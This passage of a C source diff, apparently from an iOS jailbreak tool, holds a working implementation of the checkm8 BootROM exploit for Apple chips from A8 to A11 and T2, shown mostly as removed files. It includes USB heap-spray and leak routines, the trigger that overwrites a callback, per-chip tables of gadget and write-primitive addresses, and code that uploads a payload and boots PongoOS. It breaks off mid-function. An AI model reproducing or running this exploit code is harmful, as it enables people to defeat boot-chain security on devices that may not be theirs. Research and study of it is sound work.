||||
#include "checkm8.h"
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <stddef.h>
|
||||
#include <string.h>
|
||||
|
||||
#include "payload.h"
|
||||
#include "dfu.h"
|
||||
#include "stage1.h"
|
||||
|
||||
#include "../utils.h"
|
||||
#include "../usb/shim.h"
|
||||
#include "../usb/pongo_helper.h"
|
||||
|
||||
static struct {
|
||||
uint8_t b_len, b_descriptor_type;
|
||||
uint16_t bcd_usb;
|
||||
uint8_t b_device_class, b_device_sub_class, b_device_protocol, b_max_packet_sz;
|
||||
uint16_t id_vendor, id_product, bcd_device;
|
||||
uint8_t i_manufacturer, i_product, i_serial_number, b_num_configurations;
|
||||
} device_descriptor;
|
||||
|
||||
static bool dfu_check_status(const usb_handle_t *handle, uint8_t status, uint8_t state) {
|
||||
struct {
|
||||
uint8_t status, poll_timeout[3], state, str_idx;
|
||||
} dfu_status;
|
||||
transfer_ret_t transfer_ret;
|
||||
|
||||
return send_usb_control_request(handle, 0xA1, DFU_GET_STATUS, 0, 0, &dfu_status, sizeof(dfu_status), &transfer_ret)
|
||||
&& transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == sizeof(dfu_status)
|
||||
&& dfu_status.status == status && dfu_status.state == state;
|
||||
}
|
||||
|
||||
static bool dfu_set_state_wait_reset(const usb_handle_t *handle) {
|
||||
transfer_ret_t transfer_ret;
|
||||
|
||||
return send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, 0, &transfer_ret)
|
||||
&& transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == 0
|
||||
&& dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST_SYNC)
|
||||
&& dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST)
|
||||
&& dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST_WAIT_RESET);
|
||||
}
|
||||
|
||||
bool checkm8_stage_reset(const usb_handle_t *handle) {
|
||||
transfer_ret_t transfer_ret;
|
||||
|
||||
if(send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, DFU_FILE_SUFFIX_LEN, &transfer_ret)
|
||||
&& transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == DFU_FILE_SUFFIX_LEN
|
||||
&& dfu_set_state_wait_reset(handle) && send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, EP0_MAX_PACKET_SZ, &transfer_ret)
|
||||
&& transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == EP0_MAX_PACKET_SZ)
|
||||
{
|
||||
return true;
|
||||
}
|
||||
send_usb_control_request_no_data(handle, 0x21, DFU_CLR_STATUS, 0, 0, 0, NULL);
|
||||
return false;
|
||||
}
|
||||
|
||||
bool checkm8_stage_setup(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig) {
|
||||
unsigned usb_abort_timeout = USB_TIMEOUT - 1;
|
||||
transfer_ret_t transfer_ret;
|
||||
|
||||
for(;;) {
|
||||
if(send_usb_control_request_async_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, DFU_MAX_TRANSFER_SZ, usb_abort_timeout, &transfer_ret)
|
||||
&& transfer_ret.sz < deviceConfig->config_overwrite_pad
|
||||
&& send_usb_control_request_no_data(handle, 0, 0, 0, 0, deviceConfig->config_overwrite_pad - transfer_ret.sz, &transfer_ret)
|
||||
&& transfer_ret.ret == USB_TRANSFER_STALL)
|
||||
{
|
||||
return true;
|
||||
}
|
||||
|
||||
send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, EP0_MAX_PACKET_SZ, NULL);
|
||||
usb_abort_timeout = (usb_abort_timeout + 1) % (USB_TIMEOUT + 1);
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
static bool checkm8_usb_request_leak(const usb_handle_t *handle) {
|
||||
transfer_ret_t transfer_ret;
|
||||
|
||||
return send_usb_control_request_async_no_data(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, USB_MAX_STRING_DESCRIPTOR_IDX, EP0_MAX_PACKET_SZ, 1, &transfer_ret) && transfer_ret.sz == 0;
|
||||
}
|
||||
|
||||
static void checkm8_stall(const usb_handle_t *handle) {
|
||||
unsigned usb_abort_timeout = USB_TIMEOUT - 1;
|
||||
transfer_ret_t transfer_ret;
|
||||
|
||||
for(;;) {
|
||||
if(send_usb_control_request_async_no_data(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, USB_MAX_STRING_DESCRIPTOR_IDX, 3 * EP0_MAX_PACKET_SZ, usb_abort_timeout, &transfer_ret) && transfer_ret.sz < 3 * EP0_MAX_PACKET_SZ && checkm8_usb_request_leak(handle)) {
|
||||
break;
|
||||
}
|
||||
usb_abort_timeout = (usb_abort_timeout + 1) % (USB_TIMEOUT + 1);
|
||||
}
|
||||
}
|
||||
|
||||
static bool checkm8_no_leak(const usb_handle_t *handle) {
|
||||
transfer_ret_t transfer_ret;
|
||||
|
||||
return send_usb_control_request_async_no_data(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, USB_MAX_STRING_DESCRIPTOR_IDX, 3 * EP0_MAX_PACKET_SZ + 1, 1, &transfer_ret)
|
||||
&& transfer_ret.sz == 0;
|
||||
}
|
||||
|
||||
static bool checkm8_usb_request_stall(const usb_handle_t *handle) {
|
||||
transfer_ret_t transfer_ret;
|
||||
|
||||
return send_usb_control_request_no_data(handle, 2, 3, 0, 0x80, 0, &transfer_ret)
|
||||
&& transfer_ret.ret == USB_TRANSFER_STALL;
|
||||
}
|
||||
|
||||
char *get_usb_serial_number(usb_handle_t *handle) {
|
||||
transfer_ret_t transfer_ret;
|
||||
uint8_t buf[UINT8_MAX];
|
||||
char *str = NULL;
|
||||
size_t i, sz;
|
||||
|
||||
if(send_usb_control_request(handle, 0x80, 6, 1U << 8U, 0, &device_descriptor, sizeof(device_descriptor), &transfer_ret)
|
||||
&& transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == sizeof(device_descriptor)
|
||||
&& send_usb_control_request(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, 0x409, buf, sizeof(buf), &transfer_ret)
|
||||
&& transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == buf[0]
|
||||
&& (sz = buf[0] / 2) != 0 && (str = malloc(sz)) != NULL)
|
||||
{
|
||||
for(i = 0; i < sz; ++i) {
|
||||
str[i] = (char)buf[2 * (i + 1)];
|
||||
}
|
||||
str[sz - 1] = '\0';
|
||||
}
|
||||
return str;
|
||||
}
|
||||
|
||||
|
||||
bool checkm8_stage_spray(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig) {
|
||||
size_t i;
|
||||
|
||||
if(deviceConfig->config_large_leak == 0) {
|
||||
if(deviceConfig->cpid == A8X || deviceConfig->cpid == A8 || deviceConfig->cpid == S1 || deviceConfig->cpid == A9_TSMC || deviceConfig->cpid == A9) {
|
||||
while(!checkm8_usb_request_stall(handle) || !checkm8_usb_request_leak(handle) || !checkm8_no_leak(handle)) {}
|
||||
} else {
|
||||
checkm8_stall(handle);
|
||||
for(i = 0; i < deviceConfig->config_hole; ++i) {
|
||||
while(!checkm8_no_leak(handle)) {}
|
||||
}
|
||||
while(!checkm8_usb_request_leak(handle) || !checkm8_no_leak(handle)) {}
|
||||
}
|
||||
send_usb_control_request_no_data(handle, 0x21, DFU_CLR_STATUS, 0, 0, 3 * EP0_MAX_PACKET_SZ + 1, NULL);
|
||||
} else {
|
||||
for(i = 0; i < deviceConfig->config_large_leak; ++i) {
|
||||
while(!checkm8_usb_request_stall(handle)) {}
|
||||
}
|
||||
send_usb_control_request_no_data(handle, 0x21, DFU_CLR_STATUS, 0, 0, 0, NULL);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
bool checkm8_stage_patch(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig, struct PayloadConfiguration *payloadConfig) {
|
||||
size_t i, data_sz, packet_sz;
|
||||
void *data;
|
||||
transfer_ret_t transfer_ret;
|
||||
bool ret = false;
|
||||
|
||||
const uint8_t *checkra1n_payload = NULL;
|
||||
void *overwrite = NULL;
|
||||
size_t checkra1n_payload_sz = 0;
|
||||
size_t overwrite_sz = 0;
|
||||
|
||||
checkm8_overwrite_t checkm8_overwrite;
|
||||
memset(&checkm8_overwrite, '\0', sizeof(checkm8_overwrite));
|
||||
checkm8_overwrite.callback.next = payloadConfig->insecure_memory_base;
|
||||
overwrite = &checkm8_overwrite;
|
||||
overwrite_sz = sizeof(checkm8_overwrite);
|
||||
|
||||
ret = create_pongo_payload_for_device(deviceConfig->cpid, &checkra1n_payload, &checkra1n_payload_sz);
|
||||
if (!ret) return false;
|
||||
|
||||
ret = generate_stage1(&data, &data_sz, checkra1n_payload, checkra1n_payload_sz, deviceConfig, payloadConfig);
|
||||
if (!ret) return false;
|
||||
|
||||
if(checkm8_usb_request_stall(handle) && checkm8_usb_request_leak(handle)) {
|
||||
LOG_VERBOSE("successfully leaked data");
|
||||
} else {
|
||||
LOG_ERROR("failed to leak data");
|
||||
return false;
|
||||
}
|
||||
for(i = 0; i < 2; i++) {
|
||||
LOG_VERBOSE("i = %zu", i);
|
||||
send_usb_control_request_no_data(handle, 2, 3, 0, 0x80, 0, NULL);
|
||||
}
|
||||
if(overwrite != NULL && send_usb_control_request(handle, 0x00, 0, 0, 0x00, overwrite, overwrite_sz, &transfer_ret) && transfer_ret.ret == USB_TRANSFER_STALL) {
|
||||
ret = true;
|
||||
for(i = 0; ret && i < data_sz; i += packet_sz) {
|
||||
packet_sz = MIN(data_sz - i, DFU_MAX_TRANSFER_SZ);
|
||||
ret = send_usb_control_request(handle, 0x21, DFU_DNLOAD, 0, 0, &data[i], packet_sz, NULL);
|
||||
}
|
||||
send_usb_control_request_no_data(handle, 0x21, 4, 0, 0, 0, NULL);
|
||||
}
|
||||
free(data);
|
||||
return ret;
|
||||
}
|
||||
|
||||
bool checkm8_boot_pongo(usb_handle_t *handle)
|
||||
{
|
||||
transfer_ret_t transfer_ret;
|
||||
|
||||
uint8_t *out;
|
||||
size_t out_len;
|
||||
|
||||
if (!prepare_pongo(&out, &out_len)) {
|
||||
LOG_ERROR("Failed to prepare pongoOS payload");
|
||||
return false;
|
||||
}
|
||||
|
||||
{
|
||||
size_t len = 0;
|
||||
|
||||
while (len < out_len)
|
||||
{
|
||||
size_t chunk = (out_len - len > 0x800) ? 0x800 : (out_len - len);
|
||||
|
||||
retry:
|
||||
send_usb_control_request(handle, 0x21, DFU_DNLOAD, 0, 0, out + len, chunk, &transfer_ret);
|
||||
|
||||
if (transfer_ret.sz != chunk || transfer_ret.ret != USB_TRANSFER_OK)
|
||||
{
|
||||
LOG_VERBOSE("retrying at len = %zu", len);
|
||||
sleep_ms(100);
|
||||
goto retry;
|
||||
}
|
||||
|
||||
len += chunk;
|
||||
LOG_VERBOSE("len = %zu", len);
|
||||
}
|
||||
}
|
||||
|
||||
free(out);
|
||||
|
||||
send_usb_control_request_no_data(handle, 0x21, 4, 0, 0, 0, NULL);
|
||||
LOG_SUCCESS("PongoOS has been sent off");
|
||||
return true;
|
||||
}
|
||||
@@ -1,23 +0,0 @@
|
||||
#ifndef CHECKM8_H
|
||||
#define CHECKM8_H
|
||||
|
||||
#include <stdbool.h>
|
||||
|
||||
#include "payload.h"
|
||||
|
||||
#include "../usb/shim.h"
|
||||
|
||||
#define EP0_MAX_PACKET_SZ (0x40)
|
||||
#define USB_MAX_STRING_DESCRIPTOR_IDX (10)
|
||||
|
||||
#ifndef MIN
|
||||
# define MIN(a, b) ((a) < (b) ? (a) : (b))
|
||||
#endif
|
||||
|
||||
bool checkm8_stage_reset(const usb_handle_t *handle);
|
||||
bool checkm8_stage_setup(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig);
|
||||
bool checkm8_stage_spray(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig);
|
||||
bool checkm8_stage_patch(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig, struct PayloadConfiguration *payloadConfig);
|
||||
bool checkm8_boot_pongo(usb_handle_t *handle);
|
||||
|
||||
#endif // CHECKM8_H
|
||||
@@ -1,27 +0,0 @@
|
||||
#include "payload.h"
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <stddef.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
|
||||
uint16_t dfu_serial_number_get_cpid(char *serial) {
|
||||
char *cpid = strstr(serial, "CPID:");
|
||||
if (cpid == NULL) { return -1; }
|
||||
return strtol(cpid + 5, NULL, 16);
|
||||
}
|
||||
|
||||
bool dfu_serial_number_is_in_dfu_mode(char *serial) {
|
||||
char *DFU = strstr(serial, "SRTG");
|
||||
return DFU != NULL;
|
||||
}
|
||||
|
||||
bool dfu_serial_number_is_pwned(char *serial) {
|
||||
char *pwnd = strstr(serial, "PWND:");
|
||||
return pwnd != NULL;
|
||||
}
|
||||
|
||||
bool dfu_serial_number_is_in_yolo_dfu(char *serial) {
|
||||
char *yolo = strstr(serial, "YOLO");
|
||||
return yolo != NULL;
|
||||
}
|
||||
@@ -1,35 +0,0 @@
|
||||
#ifndef DFU_H
|
||||
#define DFU_H
|
||||
|
||||
#include <stdint.h>
|
||||
|
||||
#define DFU_DNLOAD 1
|
||||
#define DFU_UPLOAD 2
|
||||
#define DFU_GET_STATUS 3
|
||||
#define DFU_CLR_STATUS 4
|
||||
#define DFU_GETSTATE 5
|
||||
#define DFU_ABORT 6
|
||||
|
||||
#define DFU_FILE_SUFFIX_LEN 16
|
||||
#define EP0_MAX_PACKET_SIZE 0x40
|
||||
#define DFU_MAX_TRANSFER_SZ 0x800
|
||||
#define DFU_STATUS_OK 0
|
||||
#define DFU_STATE_MANIFEST_SYNC 6
|
||||
#define DFU_STATE_MANIFEST 7
|
||||
#define DFU_STATE_MANIFEST_WAIT_RESET 8
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
uint16_t dfu_serial_number_get_cpid(char *serial);
|
||||
bool dfu_serial_number_is_in_dfu_mode(char *serial);
|
||||
bool dfu_serial_number_is_pwned(char *serial);
|
||||
bool dfu_serial_number_is_in_yolo_dfu(char *serial);
|
||||
bool device_serial_number_is_in_pongo_os(char *serial);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif // DFU_H
|
||||
@@ -1,220 +0,0 @@
|
||||
#include "payload.h"
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stdint.h>
|
||||
|
||||
#include "../utils.h"
|
||||
|
||||
#include "../gen/payloads/yolo_s8000.h"
|
||||
#include "../gen/payloads/yolo_s8001.h"
|
||||
#include "../gen/payloads/yolo_s8003.h"
|
||||
#include "../gen/payloads/yolo_t7000.h"
|
||||
#include "../gen/payloads/yolo_t7001.h"
|
||||
#include "../gen/payloads/yolo_t8010.h"
|
||||
#include "../gen/payloads/yolo_t8011.h"
|
||||
#include "../gen/payloads/yolo_t8012.h"
|
||||
#include "../gen/payloads/yolo_t8015.h"
|
||||
|
||||
bool checkm8_find_device_configuration_for_cpid(
|
||||
uint16_t cpid,
|
||||
struct DeviceConfiguration *config)
|
||||
{
|
||||
bool foundMatchingConfiguration = true;
|
||||
switch (cpid) {
|
||||
case A11:
|
||||
case T2:
|
||||
case A10X:
|
||||
config->cpid = cpid;
|
||||
config->config_large_leak = 0;
|
||||
config->config_overwrite_pad = 0x540;
|
||||
config->config_hole = 6;
|
||||
break;
|
||||
case A10:
|
||||
config->cpid = cpid;
|
||||
config->config_large_leak = 0;
|
||||
config->config_overwrite_pad = 0x5C0;
|
||||
config->config_hole = 5;
|
||||
break;
|
||||
case A9X:
|
||||
config->cpid = cpid;
|
||||
config->config_large_leak = 0;
|
||||
config->config_overwrite_pad = 0x5C0;
|
||||
config->config_hole = 6;
|
||||
break;
|
||||
case A9_TSMC:
|
||||
case A9:
|
||||
case A8X:
|
||||
case A8:
|
||||
config->cpid = cpid;
|
||||
config->config_large_leak = 0;
|
||||
config->config_overwrite_pad = 0x500;
|
||||
config->config_hole = 0;
|
||||
break;
|
||||
default:
|
||||
LOG_ERROR("CPID 0x%x is not supported!", cpid);
|
||||
foundMatchingConfiguration = false;
|
||||
break;
|
||||
}
|
||||
return foundMatchingConfiguration;
|
||||
}
|
||||
|
||||
bool checkm8_find_payload_configuration_for_cpid(
|
||||
uint16_t cpid,
|
||||
struct PayloadConfiguration *config)
|
||||
{
|
||||
bool foundMatchingConfiguration = true;
|
||||
switch (cpid) {
|
||||
case A11:
|
||||
config->insecure_memory_base = 0x18001C000;
|
||||
config->func_gadget = 0x10000a998;
|
||||
config->tlbi = 0x1000004AC;
|
||||
config->write_prim = 0x100009c48;
|
||||
config->arm_clean_invalidate_dcache_line = 0x1000004e4;
|
||||
config->arm_invalidate_icache = 0x1000004c0;
|
||||
config->enter_critical_section = 0x10000f958;
|
||||
config->exit_critical_section = 0x10000f9a0;
|
||||
config->write_ttbr0 = 0x10000045c;
|
||||
config->tlbi = 0x1000004ac;
|
||||
config->TTBR0_PATCH_BASE = 0x180020000;
|
||||
config->TTBR0_BASE = 0xc000;
|
||||
config->bootstrap_task_lr = 0x180015f88;
|
||||
config->payload_start_offset = 0x800;
|
||||
break;
|
||||
case T2:
|
||||
config->insecure_memory_base = 0x18001C000;
|
||||
config->func_gadget = 0x100008d8c;
|
||||
config->write_prim = 0x100008058;
|
||||
config->arm_clean_invalidate_dcache_line = 0x1000004cc;
|
||||
config->arm_invalidate_icache = 0x1000004a8;
|
||||
config->enter_critical_section = 0x10000f9b8;
|
||||
config->exit_critical_section = 0x10000fa00;
|
||||
config->write_ttbr0 = 0x100000444;
|
||||
config->tlbi = 0x100000494;
|
||||
config->TTBR0_PATCH_BASE = 0x180020000;
|
||||
config->TTBR0_BASE = 0xc000;
|
||||
config->bootstrap_task_lr = 0x180015f78;
|
||||
config->payload_start_offset = 0x800;
|
||||
break;
|
||||
case A10X:
|
||||
config->insecure_memory_base = 0x1800B0000;
|
||||
config->func_gadget = 0x10000cce4;
|
||||
config->write_prim2 = 0x100001804;
|
||||
config->arm_clean_invalidate_dcache_line = 0x10000047c;
|
||||
config->arm_invalidate_icache = 0x100000458;
|
||||
config->enter_critical_section = 0x10000a658;
|
||||
config->exit_critical_section = 0x10000a6a0;
|
||||
config->write_ttbr0 = 0x1000003F4;
|
||||
config->tlbi = 0x100000444;
|
||||
config->TTBR0_PATCH_BASE = 0x1800b4000;
|
||||
config->TTBR0_BASE = 0xa0000;
|
||||
config->bootstrap_task_lr = 0x1800a9f88;
|
||||
config->payload_start_offset = 0x800;
|
||||
break;
|
||||
case A10:
|
||||
config->insecure_memory_base = 0x1800B0000;
|
||||
config->func_gadget = 0x10000cc44;
|
||||
config->write_prim2 = 0x100001808;
|
||||
config->arm_clean_invalidate_dcache_line = 0x10000046c;
|
||||
config->arm_invalidate_icache = 0x100000448;
|
||||
config->enter_critical_section = 0x10000A4B8;
|
||||
config->exit_critical_section = 0x10000A514;
|
||||
config->write_ttbr0 = 0x1000003E4;
|
||||
config->tlbi = 0x100000434;
|
||||
config->TTBR0_PATCH_BASE = 0x1800b4000;
|
||||
config->TTBR0_BASE = 0xa0000;
|
||||
config->bootstrap_task_lr = 0x1800a9f68;
|
||||
config->payload_start_offset = 0x800;
|
||||
break;
|
||||
case A9X:
|
||||
config->insecure_memory_base = 0x180000000;
|
||||
config->func_gadget = 0x10000cd38;
|
||||
config->write_prim2 = 0x100001a78;
|
||||
config->arm_clean_invalidate_dcache_line = 0x10000043c;
|
||||
config->arm_invalidate_icache = 0x100000418;
|
||||
config->enter_critical_section = 0x100009b24;
|
||||
config->exit_critical_section = 0x100009b88;
|
||||
config->write_ttbr0 = 0x1000003b4;
|
||||
config->tlbi = 0x100000404;
|
||||
config->TTBR0_PATCH_BASE = 0x180004000;
|
||||
config->TTBR0_BASE = 0x50000;
|
||||
config->bootstrap_task_lr = 0x180059f58;
|
||||
config->payload_start_offset = 0x800;
|
||||
break;
|
||||
case A9:
|
||||
config->insecure_memory_base = 0x180380000;
|
||||
config->func_gadget = 0x10000de0c;
|
||||
config->write_prim2 = 0x100001bc0;
|
||||
config->arm_clean_invalidate_dcache_line = 0x10000042c;
|
||||
config->arm_invalidate_icache = 0x100000408;
|
||||
config->bootstrap_task_lr = 0x1800c2f58;
|
||||
config->payload_start_offset = 0xc0;
|
||||
break;
|
||||
case A9_TSMC:
|
||||
config->insecure_memory_base = 0x180380000;
|
||||
config->func_gadget = 0x10000de0c;
|
||||
config->write_prim2 = 0x100001bc0;
|
||||
config->arm_clean_invalidate_dcache_line = 0x10000042c;
|
||||
config->arm_invalidate_icache = 0x100000408;
|
||||
config->bootstrap_task_lr = 0x1800c2f58;
|
||||
config->payload_start_offset = 0xc0;
|
||||
break;
|
||||
case A8X:
|
||||
config->insecure_memory_base = 0x180380000;
|
||||
config->func_gadget = 0x100010df4;
|
||||
config->write_prim = 0x10000ed5c;
|
||||
config->arm_clean_invalidate_dcache_line = 0x100000448;
|
||||
config->arm_invalidate_icache = 0x100000424;
|
||||
config->bootstrap_task_lr = 0x1800c2f68;
|
||||
config->payload_start_offset = 0xc0;
|
||||
break;
|
||||
case A8:
|
||||
config->insecure_memory_base = 0x180380000;
|
||||
config->func_gadget = 0x10000ddf4;
|
||||
config->write_prim = 0x10000bc2c;
|
||||
config->arm_clean_invalidate_dcache_line = 0x100000448;
|
||||
config->arm_invalidate_icache = 0x100000424;
|
||||
config->bootstrap_task_lr = 0x1800c2f68;
|
||||
config->payload_start_offset = 0xc0;
|
||||
break;
|
||||
default:
|
||||
LOG_ERROR("CPID 0x%x is not supported!", cpid);
|
||||
foundMatchingConfiguration = false;
|
||||
}
|
||||
return foundMatchingConfiguration;
|
||||
}
|
||||
|
||||
static const yolo_payload_t yolo_payloads[] = {
|
||||
{A11, payloads_yolo_t8015_bin, payloads_yolo_t8015_bin_len},
|
||||
{T2, payloads_yolo_t8012_bin, payloads_yolo_t8012_bin_len},
|
||||
{A10X, payloads_yolo_t8011_bin, payloads_yolo_t8011_bin_len},
|
||||
{A10, payloads_yolo_t8010_bin, payloads_yolo_t8010_bin_len},
|
||||
{A9_TSMC, payloads_yolo_s8003_bin, payloads_yolo_s8003_bin_len},
|
||||
{A9X, payloads_yolo_s8001_bin, payloads_yolo_s8001_bin_len},
|
||||
{A9, payloads_yolo_s8000_bin, payloads_yolo_s8000_bin_len},
|
||||
{A8X, payloads_yolo_t7001_bin, payloads_yolo_t7001_bin_len},
|
||||
{A8, payloads_yolo_t7000_bin, payloads_yolo_t7000_bin_len},
|
||||
};
|
||||
|
||||
bool create_pongo_payload_for_device(
|
||||
uint16_t cpid,
|
||||
const uint8_t **payload,
|
||||
size_t *payloadSize)
|
||||
{
|
||||
LOG_VERBOSE("Preparing YoloDFU payload for CPID 0x%x", cpid);
|
||||
|
||||
*payload = NULL;
|
||||
*payloadSize = 0;
|
||||
|
||||
size_t count = sizeof(yolo_payloads) / sizeof(yolo_payloads[0]);
|
||||
|
||||
for (size_t i = 0; i < count; i++) {
|
||||
if (yolo_payloads[i].cpid == cpid) {
|
||||
*payload = yolo_payloads[i].data;
|
||||
*payloadSize = yolo_payloads[i].len;
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
LOG("Failed to prepare payload for device with CPID 0x%x", cpid);
|
||||
return false;
|
||||
}
|
||||
@@ -1,55 +0,0 @@
|
||||
#ifndef PAYLOAD_H
|
||||
#define PAYLOAD_H
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stdint.h>
|
||||
#include <stddef.h>
|
||||
|
||||
#define A8 0x7000
|
||||
#define A8X 0x7001
|
||||
#define S1 0x7002
|
||||
#define A9 0x8000
|
||||
#define A9X 0x8001
|
||||
#define A9_TSMC 0x8003
|
||||
#define A10 0x8010
|
||||
#define A10X 0x8011
|
||||
#define T2 0x8012
|
||||
#define A11 0x8015
|
||||
|
||||
struct DeviceConfiguration {
|
||||
uint16_t cpid;
|
||||
size_t
|
||||
config_hole,
|
||||
config_large_leak,
|
||||
config_overwrite_pad;
|
||||
};
|
||||
|
||||
struct PayloadConfiguration {
|
||||
uint64_t
|
||||
insecure_memory_base,
|
||||
func_gadget,
|
||||
write_prim,
|
||||
write_prim2,
|
||||
arm_clean_invalidate_dcache_line,
|
||||
arm_invalidate_icache,
|
||||
enter_critical_section,
|
||||
exit_critical_section,
|
||||
write_ttbr0,
|
||||
tlbi,
|
||||
TTBR0_PATCH_BASE,
|
||||
TTBR0_BASE,
|
||||
bootstrap_task_lr,
|
||||
payload_start_offset;
|
||||
};
|
||||
|
||||
typedef struct {
|
||||
uint16_t cpid;
|
||||
const uint8_t *data;
|
||||
size_t len;
|
||||
} yolo_payload_t;
|
||||
|
||||
bool checkm8_find_device_configuration_for_cpid(uint16_t cpid, struct DeviceConfiguration *config);
|
||||
bool checkm8_find_payload_configuration_for_cpid(uint16_t cpid, struct PayloadConfiguration *config);
|
||||
bool create_pongo_payload_for_device(uint16_t cpid, const uint8_t **payload, size_t *payloadSize);
|
||||
|
||||
#endif // PAYLOAD_H
|
||||
-290
@@ -1,290 +0,0 @@
|
||||
#include "run.h"
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <stdatomic.h>
|
||||
#include <stdbool.h>
|
||||
#include <pthread.h>
|
||||
#include <inttypes.h>
|
||||
#include <stdint.h>
|
||||
#include <unistd.h>
|
||||
#include <string.h>
|
||||
|
||||
#include "../utils.h"
|
||||
#include "../globals.h"
|
||||
#include "../paleinfo.h"
|
||||
#include "../usb/shim.h"
|
||||
#include "../usb/driver.h"
|
||||
#include "../usb/pongo_helper.h"
|
||||
|
||||
#include "checkm8.h"
|
||||
#include "dfu.h"
|
||||
#include "payload.h"
|
||||
|
||||
#define VID_APPLE (0x5AC)
|
||||
#define PID_PONGO (0x4141)
|
||||
#define PID_DFU (0x1227)
|
||||
|
||||
#if defined(WITH_GUI) || defined(WITH_TUI)
|
||||
|
||||
const char* stage_to_string(int stage)
|
||||
{
|
||||
switch (stage) {
|
||||
case STAGE_SETUP: return "Checking if device is ready";
|
||||
case STAGE_SPRAY: return "Setting up the exploit (this is the heap spray)";
|
||||
case STAGE_PATCH: return "Right before trigger (this is the real bug setup)";
|
||||
case STAGE_YOLODFU: return "Booting PongoOS...";
|
||||
case STAGE_PONGO: return "Booting...";
|
||||
case STAGE_DONE: return "Done.";
|
||||
default: return "Idle.";
|
||||
}
|
||||
}
|
||||
|
||||
int stage_to_progress(int stage)
|
||||
{
|
||||
switch (stage) {
|
||||
case STAGE_SETUP: return 30;
|
||||
case STAGE_SPRAY: return 40;
|
||||
case STAGE_PATCH: return 50;
|
||||
case STAGE_YOLODFU: return 60;
|
||||
case STAGE_PONGO: return 70;
|
||||
case STAGE_DONE: return 100;
|
||||
default: return 0;
|
||||
}
|
||||
}
|
||||
|
||||
#endif // WITH_GUI || WITH_TUI
|
||||
|
||||
#ifdef _WIN32
|
||||
|
||||
static void *driver_thread(void *arg)
|
||||
{
|
||||
shared_t *s = (shared_t *)arg;
|
||||
|
||||
LOG_VERBOSE("Starting thread for libusbK driver installing");
|
||||
|
||||
while (!atomic_load(&s->stop)) {
|
||||
|
||||
if (usb_device_present(VID_APPLE, PID_DFU)) {
|
||||
driver_result_t ret =
|
||||
install_libusbk_target(VID_APPLE, PID_DFU);
|
||||
|
||||
if (ret == DRIVER_SUCCESS)
|
||||
LOG_VERBOSE("DFU libusbK ready");
|
||||
}
|
||||
|
||||
if (usb_device_present(VID_APPLE, PID_PONGO)) {
|
||||
|
||||
driver_result_t ret =
|
||||
install_libusbk_target(VID_APPLE, PID_PONGO);
|
||||
|
||||
if (ret == DRIVER_SUCCESS) {
|
||||
LOG_SUCCESS("PongoOS libusbK ready");
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
sleep_ms(500);
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
#endif
|
||||
|
||||
static void *exploit_thread(void *arg)
|
||||
{
|
||||
LOG_VERBOSE("Starting thread for DFU devices");
|
||||
LOG("Waiting for DFU devices...");
|
||||
|
||||
shared_t *s = (shared_t *)arg;
|
||||
|
||||
usb_handle_t handle;
|
||||
struct DeviceConfiguration deviceConfig;
|
||||
struct PayloadConfiguration payloadConfig;
|
||||
|
||||
int stage = STAGE_RESET;
|
||||
bool ret = false;
|
||||
|
||||
init_usb_handle(&handle, VID_APPLE, PID_DFU);
|
||||
|
||||
while (!atomic_load(&s->stop)) {
|
||||
if (!wait_usb_handle(&handle)) {
|
||||
if (atomic_load(&s->stop)) break;
|
||||
reset_usb_handle(&handle);
|
||||
continue;
|
||||
}
|
||||
|
||||
char *sn = get_usb_serial_number(&handle);
|
||||
if (!sn) {
|
||||
reset_usb_handle(&handle);
|
||||
continue;
|
||||
}
|
||||
|
||||
uint64_t cpid = dfu_serial_number_get_cpid(sn);
|
||||
if (!checkm8_find_device_configuration_for_cpid(cpid, &deviceConfig)
|
||||
|| !checkm8_find_payload_configuration_for_cpid(cpid, &payloadConfig))
|
||||
{
|
||||
free(sn);
|
||||
reset_usb_handle(&handle);
|
||||
continue;
|
||||
}
|
||||
|
||||
if (dfu_serial_number_is_pwned(sn)) {
|
||||
LOG_WARN("Detected already PWN'd device, skipping");
|
||||
free(sn);
|
||||
reset_usb_handle(&handle);
|
||||
continue;
|
||||
} else if (dfu_serial_number_is_in_dfu_mode(sn)) {
|
||||
LOG_SUCCESS("Detected DFU device");
|
||||
} else if (dfu_serial_number_is_in_yolo_dfu(sn)) {
|
||||
LOG_SUCCESS("Detected YoloDFU device");
|
||||
